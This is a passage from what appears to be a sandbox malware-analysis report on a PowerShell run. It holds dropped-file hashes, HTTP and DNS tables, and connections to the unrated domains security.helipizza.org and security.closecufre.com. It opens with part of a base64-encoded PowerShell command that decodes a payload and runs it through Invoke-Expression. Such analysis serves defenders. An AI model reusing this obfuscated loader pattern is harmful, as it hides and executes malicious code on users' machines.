3AHIAUgAgACsAIAAkAE0ATwBvAFgANQBlAEUAWQBzAHIAIAArACAAJAB2AFUAVgBaAEkAeQBnAFMAaAB0ACAAKwAgACQAUgB0AEoAUgBCAEEAagB0AHoAMAAgACsAIAAkAGUAOQBRAGYAWQBvAHcAagB1ADYACgAkAEEAUwAzAGcANgA4AE4AdQBCAFEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAegBvAE4ASQBsAFgAbwBTAFoATQApAAoAJABpAHkAbQBsAGsAegA0AFQATwBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAQQBTADMAZwA2ADgATgB1AEIAUQApAAoASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABpAHkAbQBsAGsAegA0AFQATwBpAAoA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2852 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_lsslsw30.3yy.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7336 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0cxxfp2v.rxi.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7336 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_gkubfz4x.wrf.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2852 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jtgvgsg3.dn0.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2852 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10b5d5.TMP | binary | |
MD5:D040F64E9E7A2BB91ABCA5613424598E | SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670 | |||
| 2852 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RP2757KJHZOVFVY0JPHD.temp | binary | |
MD5:B3A16368ED2B5AA481201DBBC68A0748 | SHA256:22B440E0A7E560DF905B220C1892F2C54241F69A2AA58C528E287C31E3A766D8 | |||
| 2852 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms | binary | |
MD5:B3A16368ED2B5AA481201DBBC68A0748 | SHA256:22B440E0A7E560DF905B220C1892F2C54241F69A2AA58C528E287C31E3A766D8 | |||
| 7336 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:1E93ECB0B697A2016EB3563975D4B759 | SHA256:64997025A4A2E566EEE37B070249D036DFEFB9758CFFBAE3EBA74E7CBC153858 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.48.23.143:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
8040 | SIHClient.exe | GET | 200 | 23.219.150.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
8040 | SIHClient.exe | GET | 200 | 23.219.150.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 23.48.23.143:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
3216 | svchost.exe | 172.211.123.249:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
7336 | powershell.exe | 188.114.96.3:443 | security.helipizza.org | CLOUDFLARENET | NL | unknown |
6544 | svchost.exe | 20.190.159.129:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6544 | svchost.exe | 2.23.77.188:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
2104 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
7336 | powershell.exe | 188.114.97.3:443 | security.helipizza.org | CLOUDFLARENET | NL | unknown |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
security.helipizza.org |
| unknown |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
security.closecufre.com |
| unknown |
slscr.update.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |